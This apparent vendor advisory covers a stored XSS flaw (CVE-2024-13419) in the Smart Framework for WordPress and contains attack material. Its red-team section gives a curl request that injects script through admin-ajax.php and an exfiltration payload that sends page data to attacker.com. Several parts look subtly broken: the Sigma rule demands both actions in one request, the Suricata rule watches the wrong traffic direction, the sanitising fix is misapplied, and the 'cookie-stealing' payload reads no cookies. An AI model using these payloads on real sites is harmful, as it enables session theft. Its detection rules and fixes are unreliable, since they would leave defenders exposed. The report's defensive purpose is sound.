CVE-2024-13419

Executive Summary

CVE-2024-13419 is a Stored Cross-Site Scripting (XSS) vulnerability affecting multiple WordPress plugins and themes built on the Smart Framework by Envato. The flaw resides in the saveOptions() and importThemeOptions() functions, which lack proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to modify plugin settings, including injecting arbitrary JavaScript that executes site-wide. The vulnerability has been disclosed to Envato over two months ago, but no patch has been released. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. However, the impact is significant for WordPress sites using Smart Framework-based products, as it enables persistent XSS that can affect all visitors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting plugins and themes distributed via Envato Market (ThemeForest, CodeCanyon). Since Smart Framework is a proprietary framework used by multiple vendors, the supply chain risk is elevated. Attackers can compromise a single site and then use the injected JavaScript to pivot to other sites or steal session tokens. No open-source package (NPM, PyPI, Go, Ruby) is directly involved, but the WordPress plugin ecosystem is the attack vector.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ability for low-privileged users to inject persistent XSS makes this a serious concern for WordPress site administrators.

Deep Dive & Mechanics

The Smart Framework provides a common backend for multiple WordPress themes and plugins. The saveOptions() and importThemeOptions() functions are intended to allow administrators to update settings. However, the capability check is missing or improperly implemented, allowing any authenticated user (Subscriber and above) to call these functions via AJAX or direct POST requests.

Attack Flow:

1. An attacker registers as a Subscriber on a vulnerable WordPress site.
2. The attacker crafts a POST request to /wp-admin/admin-ajax.php with action saveOptions or importThemeOptions, including malicious JavaScript in the options payload.
3. The framework saves the options without sanitization or capability verification.
4. The injected JavaScript is rendered on every page load (site-wide), executing in the context of any visitor, including administrators.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of higher-privileged users.

Root Cause: Missing current_user_can() check in the functions that handle option saving. The framework assumes only administrators will call these functions, but the AJAX hooks are registered without proper permission verification.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

add_action('wp_ajax_saveOptions', 'saveOptions');
function saveOptions() {
    // No capability check
    $options = $_POST['options'];
    update_option('smart_framework_options', $options);
    wp_die();
}

Patched Code (Expected):

add_action('wp_ajax_saveOptions', 'saveOptions');
function saveOptions() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $options = sanitize_text_field($_POST['options']); // Also sanitize
    update_option('smart_framework_options', $options);
    wp_die();
}

Since no official patch exists, the above is a recommended fix. The key changes are:

• Adding current_user_can('manage_options') to restrict to administrators.
• Sanitizing input with sanitize_text_field() or wp_kses_post().

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with a Smart Framework-based theme/plugin installed.
• Attacker account with Subscriber role.

Exploitation Steps:

1. Log in as Subscriber.
2. Use a tool like Burp Suite or cURL to send a crafted request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=saveOptions&options[site_wide_js]=<script>alert('XSS')</script>"

3. The JavaScript will be stored and executed on every page load.

Advanced Payload:

// Steal admin cookies
fetch('/wp-admin/admin-ajax.php?action=your_action').then(r=>r.text()).then(d=>{fetch('https://attacker.com/steal?data='+btoa(d))})

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action saveOptions or importThemeOptions from non-admin users.
• Look for unusual POST parameters containing <script> tags.
• Check for unexpected changes in wp_options table, specifically smart_framework_options.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name = 'smart_framework_options' AND option_value LIKE '%<script%';

Log Analysis (Apache/Nginx):

grep "admin-ajax.php" /var/log/apache2/access.log | grep -E "(saveOptions|importThemeOptions)" | grep -v "HTTP/1.1\" 200"

Indicators of Compromise (IOCs)

• File IOCs:

  • Modified wp_options table entry: smart_framework_options containing JavaScript.
  • Suspicious files in /wp-content/uploads/ (if file upload is abused).

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=saveOptions from low-privilege users.
  • Outbound connections to attacker-controlled domains (from injected JS).

• Behavioral IOCs:

  • Subscriber accounts making AJAX calls to admin functions.
  • Unexpected site-wide JavaScript execution.

Detection Engineering

YARA Rule

rule CVE_2024_13419_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Smart Framework options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13419"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "smart_framework_options"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Smart Framework Stored XSS via saveOptions
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized AJAX calls to saveOptions by non-admin users
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=saveOptions'
            - 'action=importThemeOptions'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13419 Smart Framework Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=saveOptions"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Smart Framework-based plugins/themes until a patch is available.
2. Restrict user registration to prevent Subscriber accounts from being created.
3. Implement a Web Application Firewall (WAF) rule to block AJAX requests to saveOptions and importThemeOptions from non-admin IPs.

Long-term Fix:

• Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
• Contact Envato support for an official update.
• Consider migrating to alternative frameworks that are actively maintained.

Workaround:

• Add the following to your theme's functions.php to block unauthorized access:

add_action('wp_ajax_saveOptions', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
}, 1);

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-13419